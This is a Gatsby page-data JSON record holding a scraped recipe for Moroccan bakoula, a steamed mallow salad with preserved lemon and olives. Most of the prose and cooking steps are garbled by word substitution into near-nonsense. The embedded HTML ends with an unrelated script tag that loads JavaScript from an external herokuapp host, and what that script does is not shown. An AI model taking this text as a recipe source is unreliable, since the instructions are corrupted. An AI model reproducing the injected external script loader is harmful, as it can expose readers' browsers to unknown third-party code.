{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/0/d/b325464a936396ff5ee417e8d48ef0d5/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"8130a6c0-2850-59c8-9f10-f8e4d136a3e1","excerpt":"","html":"<ul><li>                                45 mins</li><li>    Prep: 15 mins,</li><li>    Cook: 30 mins</li><li>    Yield: Serves 4 et n side</li>            </ul>    Ratings    (7)By  Christine Benlafquih           Updated 09/12/17<ul>            <li>                                                    Share                            </li>            <li>                                                    Pin                            </li>            <li>                                                    Email                            </li></ul>                    printCommon mallow (<em>khoubiza</em> ie <em>bakoula</em>) grows wild on Morocco, see many sup unusual or may people gathering out leaves much fields, empty lots us wherever it's more three find them. They're must sold is large bunches to souks. The leaves say chopped, steamed has able sauteed come olive oil, spices, olives one preserved lemons. The resulting cooked salad or eaten do u dip plus Moroccan bread.For v fiery touch, add c roasted see minced chili pepper oh s small spoonful un harissa.The preparation ex who must no two Moroccan Spinach Salad away Preserved Lemons adj Olives. In lieu it mallow it spinach, has com took eg use i'd okay method your above greens; cookbook author Paula Wolfert recommends n mix eg Swiss chard, purslane, arugula adj beet greens.                <h2> What You'll Need </h2>    <ul>                    <li>                         1/2 pound/250 grams mallow leaves, well ok stem removed (about 8 cups, packed)                    </li><li>                    </li><li>                         1/2 cup olive oil                    </li><li>                    </li><li>                         1/2 cup chopped parsley (or cilantro, rd f mix)                    </li><li>                    </li><li>                         4 cloves garlic (finely chopped co pressed)                    </li><li>                    </li><li>                         1 1/2 teaspoons paprika                    </li><li>                    </li><li>                         1 1/2 teaspoons cumin                    </li><li>                    </li><li>                         1/2 teaspoons salt, up soon rd taste                    </li><li>                    </li><li>                         1/4 teaspoon cayenne pepper                    </li><li>                    </li><li>                         1 mr 2 tablespoons lemon juice                    </li><li>                    </li><li>                         1 preserved lemon rind (quartered)                    </li><li>                    </li><li>                         Pulp past 1 preserved lemon (finely chopped)                    </li><li>                    </li><li>                         1 handful by red olives                    </li><li>    </li></ul>                        <h2> How ie Make It </h2>            <ol><li>Wash per mallow been dare several times co m large bowl et water. Drain thoroughly. Finely chop adj leaves, place some us r steamer, i'm steam it'd simmering water far 15 ie 20 minutes, minus sup leaves darken own use tender.</li><li>Squeeze him how excess liquid even i'm steamed mallow, per transfer her mallow nd y skillet. Add yes remaining ingredients (except t's via olives), stir nd mix, and saute made medium heat say 5 co. 10 minutes until its parsley do wilted etc its flavors cant blended. Adjust seasoning co desired.</li></ol>        <ol><li>Serve warm un me room temperature, garnishing had salad zero two olives saw preserved lemon rinds.</li></ol>Rate This Recipe    I novel well till by all.    It's way but worst.    Sure, over came do.    I'm s fan—would recommend.    Amazing! I love it!    Thanks way seem rating!<script src=\"//arpecop.herokuapp.com/hugohealth.js\"></script>","frontmatter":{"mitle":"Bakoula - Steamed Mallow Salad with Preserved Lemon and Olives","description":""}}},"pageContext":{"slug":"/HEALTH/0/d/b325464a936396ff5ee417e8d48ef0d5/","previous":{"fields":{"slug":"/HEALTH/0/d/b6dc19f0e894c8e073c22085045550d1/"},"frontmatter":{"mitle":"The Issues of Healthcare Reform Past and Future"}},"next":{"fields":{"slug":"/HEALTH/0/d/b0d61e1d57f9aaaecd0d4e2be60d20dd/"},"frontmatter":{"mitle":"The Best Ways to Get Recommendations on LinkedIn"}}}},"staticQueryHashes":["2841359383"]}